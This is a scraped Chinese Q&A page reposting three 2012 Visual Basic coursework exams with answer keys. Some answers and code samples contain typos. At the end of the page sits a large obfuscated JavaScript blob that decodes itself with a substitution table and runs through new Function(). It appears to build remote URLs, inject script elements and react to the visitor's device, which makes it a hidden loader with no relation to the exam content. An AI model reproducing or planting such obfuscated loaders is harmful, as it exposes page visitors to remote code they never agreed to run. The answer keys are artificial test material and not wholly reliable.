2012年9月考试可视化程序设计(VB) A 卷

2025-04-02 07:27:22
推荐回答(3个)
回答1:

2012年9月份考试可视化程序设计(VB)第二次作业
一、单项选择题(本大题共80分,共 20 小题,每小题 4 分)
1. 下列关于多文档界面(MDI)应用程序,说法错误的是( )
A. 一个多文档界面应用程序只能包含一个MDI窗体
B. 一个多文档界面应用程序只能包含一个子窗体
C. 子窗体的MDIChild属性应设置为True
D. 最小化父窗口时,所有子窗口也被最小化
2. 下列过程不能包含在标准模块中定义的是( )。
A. 事件过程
B. 子过程
C. 函数过程
D. 公共过程
3. 下列关于数据库说法错误的是( )
A. 一个表可以构成一个数据库
B. 多个表可以构成数据库
C. 一个表的每一条记录中的各数据项具有相同的类型
D. 同一个字段的数据具有相同的类型
4. 下列关于菜单访问键和快捷键的说法正确的是( )
A. 若一菜单项的Caption属性为“打开(&O)”,则其快捷键是Ctrl+O
B. 快捷键指用于执行一个命令的功能键或组合键,可以在菜单编辑器中将快捷键设为Alt+F
C. 可以为任意的菜单项都添加快捷键或访问键
D. 通过访问键打开某个子菜单时,必须先使焦点位于其上一级菜单
5. 向一个顺序文件中写数据时,( )是从文件末尾添加的方式打开顺序文件。
A. Output
B. Input
C. Write
D. Append
6. 从随机文件中读取数据的命令是( )
A. Put
B. Get
C. Print
D. Input
7. 以下说法正确的是( )
A. 通用过程可以出现在窗体模块和标准模块中
B. 不同模块中的通用过程可以重名
C. 同一标准模块中的通过过程可以同名
D. 不同标准模块中的通用过程不能同名
8. Seek方法用于在( )类型的记录集中查找满足条件的记录。
A. 动态集
B. 快照
C. 表
D. 任意
9. 数据控件用于设置指定数据控件所访问的记录来源的属性是( )
A. RecordSource
B. DataSource
C. DatabaseName
D. RecordSetType
10. 在下列关于对话框的叙述中,错误的是( ):
A. 作为对话框窗体的Borderstyle、ControlBox、MaxButton和MinButton应分别设置为l、True、False和 False。
B. 语句frmAbout.Show vbModeless,frmMain将 fmAbout窗体显示为 fmMain的无模式子窗体。
C. 可以将对话框分成两种类型:模式的和无模式。
D. 语句frmAbout.Show将frmAbout作为无模式对话框显示。
11. 在用菜单编辑器设计菜单时,必须输入的项有( )。
A. 快捷键
B. 标题
C. 索引
D. 名称
12. 下列过程说明合法的是( )
A. Sub S1(ByVal n!())
B. Sub S1(n!) as Integer
C. Function S1%(S1%)
D. Function S1(ByVal n!)
13. 当BOF属性为Ture时,表示( )。
A. 当前记录位置位于Recordset对象的第一条记录
B. 当前记录位置位于Recordset对象的第一条记录之前
C. 当前记录位置位于Recordset对象的最后一条记录
D. 当前记录位置位于Recordset对象的最后一条记录之后
14. 以下叙述错误的是( )
A. 在KeyUp和KeyDown事件过程中,从键盘上输入A和a是相同的
B. 在KeyUp和KeyDown事件过程中,从键盘上1和小键盘上的1看作不同数字
C. KeyPress事件中不能识别键盘上某个键的按下与释放
D. KeyPress事件中可以识别键盘上某个键的按下与释放
15. 文本框控件与DATA控件绑定到一起时,文本框的DataSource属性指定了文本框所要绑定的( )
A. 数据库名
B. 数据表名
C. 字段名
D. 以上都不是
16. 用于设置或返回文件类型的属性是( )。
A. Drive
B. Path
C. Pattern
D. FileTitle
17. 运行时,要清除图片框P1中的图像,应使用语句( )。
A. Pl.Picture=“”
B. P1.Picture=LoadPicture()
C. Picturel.Picture=LoadPicture
D. Picturel.Picture=LoadPicture(“C:\WINDOWS\Clouds.bmp”)
18. 下面关于多重窗体的叙述中,正确的是( )。
A. 作为启动对象的 main于过程只能放在窗体模块内
B. 如果启动对象是 main子过程,则程序启动时可不加载任何窗体,以后由该过程根据不同情况决定是否加载或加载哪一个窗体
C. 没有启动窗体,程序不能执行
D. 以上都不对
19. 以下的属性和方法中( )可重定义坐标系。
A. DrawStyle属性
B. DrawWidth属性
C. Scale方法
D. ScaleMode属性
20. 如果当前的List1中为空(即没有选项),运行下列语句后,List1中的内容是( )
Private Sub Command1_Click()
Dim s As String
For n = 1 To 3
s = Chr(65+n)
List1.AddItem s, n
Next
End Sub
A. A
B. B
C. C
D. D
二、判断题(本大题共20分,共 10 小题,每小题 2 分)
1. 如果虚实结合是按地址传递,则当改变形参时,实参也跟着改变。( )
2. 数组作为参数,函数调用时一定是按地址传递。( )
3. Function过程必须以函数名作为返回值,而Sub过程不需要用函数名作为返回值。( )
4. 通过适当的设置,可以在程序运行期间,让时钟控件显示在窗体上。( )
5. 如果形参是数组,调用时实参也要求是数组。( )
6. 将复选框的Value属性设置成2后,则该复选框变成灰色,说明用户无法选择该选项。( )
7. 如果定义了子程序Public Sub Check(a!,b!),则a、b都是全局变量。( )
8. 当图像框Image控件的Stretch属性为True时,Image控件能自动调整自己的尺寸与显示的图片匹配。( )
9. 在标准模块中用Public声明全局变量,使变量在整个应用程序中有效。( )
10. 事件过程通常由事件驱动执行,而Sub过程通过过程调用执行。( )

答案:

一、单项选择题(80分,共 20 题,每小题 4 分)
1. B 2. A 3. C 4. D 5. D 6. B 7. D 8. C 9. A 10. A 11. D 12. D 13. B 14. D 15. B 16. C 17. B 18. B 19. C 20. D

二、判断题(20分,共 10 题,每小题 2 分)
1. √ 2. √ 3. √ 4. × 5. √ 6. × 7. × 8. × 9. √ 10. √

回答2:

2012年9月份考试可视化程序设计(VB)第三次作业
一、填空题(本大题共40分,共 10 小题,每小题 4 分)
1. VB中三种文件访问类型是 ______ 、 ______ 、 ______
2. VB中,在预定对话框里有两种对话框分别称为 ______ 和 ______ ,它们所用函数分别为 ______ 和 ______ 。
3. VB的数据类型可以分为 ______ 和 ______ 。
4. VB的控件分为 ______ 、 ______ 、 ______ 。
5. 要使标签框有边框,需设置BorderStyle属性的值为 ______ 。
6. 创建工具栏需要 ______ 件和 ______ 控件的组合。
7. 由Array函数建立的数组必须是 ______ 类型。
8. VB程序的错误一般分为 ______ 、 ______ 和 ______ 三类。
9. 在执行KeyPress事件过程中,KeyAscii是所按键的 ______ 值,对于有上档字符和下档字符的键,档执行KeyDown事件过程中,KeyCode是 ______ 字符的 ______ 值。
10. 反复执行的程序段称为 ______ ;进入循环体的条件称为 ______ ;中止循环体执行的条件称为 ______ 。

二、程序阅读题(本大题共24分,共 4 小题,每小题 6 分)
1. Private Sub Command1_Click()
Dim n As Integer
Dim t As Integer
n = 354
t = 0
While (n > 1)
t = t + f1(n Mod 10) n = n \ 10
Wend
Print t
End Sub
Public Function f1(n As Integer)
If (n = 0) Then
f1 = 0
Else If (n = 1) Then
f1 = 1
Else f1 = n * f1(n - 1)
End If
End Function
单击一次Command1按钮一次,窗体上显示的是什么?
2. 写出下列程序的输出结果。
Private Sub Form_Click
Print Tab(10); -100;Tab(20); 200;Tab(30); -300
Print Spc(5); -100;Spc(5); 200;Spc(5); -300
End Sub
3. 写出下列事件过程的执行结果。
Public x As Integer Private Sub Command1_Click()
x=10
Print x
Call s1
Print x
Call s2
Print x
End Sub
Private Sub s1()
x=x+20
Print x
End Sub
Private Sub s2()
Dim x As Integer
x=x+20
Print x
End Sub
4. 下面程序的功能是对两个整型变量的值进行交换,在横线上填上适当内容。
Private Sub Command1_Click()
Dim a As Integer, b As Integer
a=10
b=20
Print "a="; a, "b="; b
(1)
Print "a="; a, "b="; b
End Sub
Private Sub swap(ByRef a As Integer, ByRef b As Integer)
Dim t As Integer
(2)
End Sub

三、问答题(本大题共24分,共 4 小题,每小题 6 分)
1. 在VB中,要对数据文件中的数据进行读写操作一般要经过哪三步?
2. VB坐标系中旋转什么方向是正向
3. 要使单精度变量x,y,z分别保留1位、2位、3位小数位,并在窗体显示,使用什么函数?如何写对应的Print方法?
4. 使用Pset绘制像素点的大小由什么因素确定?

四、程序设计题(本大题共12分,共 1 小题,每小题 12 分)
某数组有20个元素,元素的值由键盘输入,要求将前10个元素与后10个元素对换。即第1个元素与第20个元素互换,第2个元素与第19个元素互换,…,第10个元素与第11个元素互换。输出数组原来各元素的值和对换后各元素的值。

答案:

一、填空题(40分,共 10 题,每小题 4 分)

1.
参考答案:
顺序、随机、二进制
解题方案:

评分标准:
2
2.
参考答案:
消息框、输入对话框、Msgbox、Inputbox
解题方案:

评分标准:
2
3.
参考答案:
基本数据类型、自户自定义数据类型
解题方案:

评分标准:
2
4.
参考答案:
内部控件、ActiveX控件、可插入控件
解题方案:

评分标准:
2
5.
参考答案:
1-Fixed Single
解题方案:

评分标准:
2
6.
参考答案:
ToolBar、ImageList
解题方案:

评分标准:
2
7.
参考答案:
Variant
解题方案:

评分标准:
2
8.
参考答案:
编译错误,运行时错误,逻辑错误
解题方案:

评分标准:
2
9.
参考答案:
ASCII、下档、ASCII
解题方案:

评分标准:
2
10.
参考答案:
循环体、循环条件、结束循环条件
解题方案:

评分标准:
2

二、程序阅读题(24分,共 4 题,每小题 6 分)

1.
参考答案:
150
解题方案:
函数调用过程与循环操作
评分标准:
6
2.
参考答案:
-100 200 -300 -100 200 -300
解题方案:
Tab函数使用方法
评分标准:
6
3.
参考答案:
执行结果为: 10 30 30 20 30
解题方案:
过程调用
评分标准:
6
4.
参考答案:
(1) swap a, b 或 Call swap( a, b) (2) t=a: a=b: b=t
解题方案:
数据交换的实现
评分标准:
6

三、问答题(24分,共 4 题,每小题 6 分)

1.
参考答案:
(1)打开文件。 (2)使用相关语句对打开文件进行读写操作。 (3)关闭文件。
解题方案:

评分标准:
4
2.
参考答案:
在VB坐标系中,逆时针方向为正,各绘图方法都参照此坐标系。计算对象的坐标点时务必注意这一点。
解题方案:

评分标准:
4
3.
参考答案:
Print Format(x,”0.0”) 显示1位小数位
Print Format(x,”0.00”) 显示2位小数位
Print Format(x,”0.000”) 显示3位小数位
解题方案:

评分标准:
4
4.
参考答案:
使用Pset绘制像素点的大小由当前容器的DrawWidth属性确定。
解题方案:

评分标准:
4

四、程序设计题(12分,共 1 题,每小题 12 分)

0.
参考答案:
Dim a(1 To 20) As Integer
''''在"通用"的"声明"段中输入
Dim Private Sub Command1_Click()
Dim i As Integer, t As Integer
For i=1 To 20
''''输入 20个元素的
a(i)=InputBox("输入 a(" & Format(i, "#") & "):") ''''输入
Next i
Print "互换前各元素的值:"
For i=1 To 20 ''''输出互换前各元素的值
Form1.Print a(i);
Next i
Print
For i=1 To 10
''''互换操作
t=a(i):
a(i)=a(20-i+l):
a(20-i+1)=t
''''交换
Next i
Print
Print "互换后各元素的值:"
For i=1 To 20
''''输出互换后各元素的值
Form1.Print a(i);
Next i
End Sub
解题方案:
使用循环控制设计算法
评分标准:
循环5分,算法5分

回答3:

2012年9月份考试可视化程序设计(VB)第一次作业
一、单项选择题(本大题共100分,共 25 小题,每小题 4 分)
1. 下面的数写成普通的形式是1.21576654590569E+019 ( )
A. 12157665459056900
B. 121576654590569000
C. 1215766545905690000
D. 12157665459056900000
2. 下列赋值语句合法的是( )
A. A=A+B
B. A+B=A
C. –A=A
D. A=2B
3. 下列选择项中( )不能获得焦点。
A. 使用Tab键
B. 用鼠标选择对象
C. 设置GetFocus的值为True
D. 使用SetFocus方法
4. 设a=2,b=3,c=4,d=5,下列表达式的值是( )。not a<=c or 4*c=b^2 and b<>a+c
A. -1
B. 1
C. true
D. false
5. 若将命令按钮设置为默认命令按钮,可以通过( )属性来实现。
A. Value
B. Cancel
C. Default
D. Enabled
6. 通用过程可以通过执行“工具”菜单中的( )命令来建立。
A. 添加过程
B. 通用过程
C. 添加窗体
D. 添加模块
7. 假设A=3,B=7,C=2,则表达式 NOT ( B>A) 的值是 ( )
A. True
B. False

C. 表达式错误
D. 不确定
8. 以下说法正确的是( )
A. 通用过程可以出现在窗体模块和标准模块中
B. 不同模块中的通用过程可以重名
C. 同一标准模块中的通过过程可以同名
D. 不同标准模块中的通用过程不能同名
9. 在表达式 y = InputBox ( a, b, c ) 中,b 为输入函数对话框的( )。
A. 标题
B. 提示
C. 预设值
D. 帮助文件名
10. 如果要退出Do…Loop循环,可使用语句( )。
A. Exit
B. Exit Do
C. Exit For
D. Exit For
11. 为了使窗体的大小可以改变,必须把它的BorderStyle属性设置为( )
A. 1
B. 2
C. 3
D. 4
12. 若有数组说明语句:Dim t(1 To 10) As Variant,则t被定义为( )。
A. 数值数组
B. 可调数组
C. 字符串数组
D. 可变类型数组
13. Function过程要由函数名返回一个值。如果不使用As数据类型选项来指定函数的类型,函数类型默认为( )类型。
A. Integer
B. Variant
C. Long
D. Siring
14. 不论何对象,都具有( )属性。
A. Text
B. Name
C. ForeColor
D. Caption
15. 下列语句正确的是( )。
A. For i=1 To m
For j=1 To n
Next i
Next j
B. For i=1 To m
For j=1 To n
Next i,j
C. For i=1 To m
For j=1 To n
Next j,i
D. For i=1 To m
While x>0
Next i
end
16. 下列过程调用合法的是( )
A. Call Prog a,b
B. Prog(a,b)
C. Call Prog(a,b)
D. 以上都不对
17. 以下语句的输出结果是( )。 print format$(32548.5,"000,000.00")
A. 2548.5
B. 32,548.5
C. 032,548.50
D. 32548.50
18. 数学式子Sin25°写成VB表达式是( )。
A. Sin25
B. Sin(25°)
C. Sin(25)
D. Sin(25*3.14/180)
19. 以下程序段中循环语句( )。
x%=0
While Not x
x=x+1
Print x
Wend
A. 有语法错误
B. 溢出
C. 循环体执行一次
D. 循环体一次也不执行
20. 下列过程说明合法的是( )
A. Sub S1(ByVal n!())
B. Sub S1(n!) as Integer
C. Function S1%(S1%)
D. Function S1(ByVal n!)
21. 用下面的语句所定义的数组的元素个数是( ) Dim arr(3 To 6, -2 To 2)
A. 12
B. 16
C. 18
D. 20
22. 下面语句书写正确的是( )。
A. If a>max Then
max=a
Else
max=b
End If
B. If a>max Then
max=a
Else
max=b
End If
C. If a>max Then
max=a
Else
max=6
D. If a>max Then
max=a
Else
max=b
End If
23. 下列一维数组说明语句错误的是( )。
A. Dim b(100) AS Double
B. Dim b(-5 To 0) AS Byte
C. Dim b(-10To –20) AS Integer
D. Dim b(5 To 5) AS String
24. 设已定义函数过程f,它有三个整型数值参数,再设a,b和c为实型变量,则调用该函数过程使用的语句为( )。
A. f
B. f( a+b, b+c )
C. f ( a+b, b+c ,c+a )
D. f a+b, b+c, c+a
25. 执行下面程序段时,内循环的循环次数是( )。
For m=1 To 3
n=0
While n<=m-1
Print m,n
n=n+1
Wend
Next m
A. 3
B. 4
C. 5
D. 6

答案:

一、单项选择题(100分,共 25 题,每小题 4 分)
1. D 2. A 3. C 4. D 5. C 6. A 7. B 8. D 9. A 10. B 11. B 12. D 13. B 14. B 15. C 16. C 17. C 18. D 19. B 20. D 21. D 22. D 23. C 24. D 25. D

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();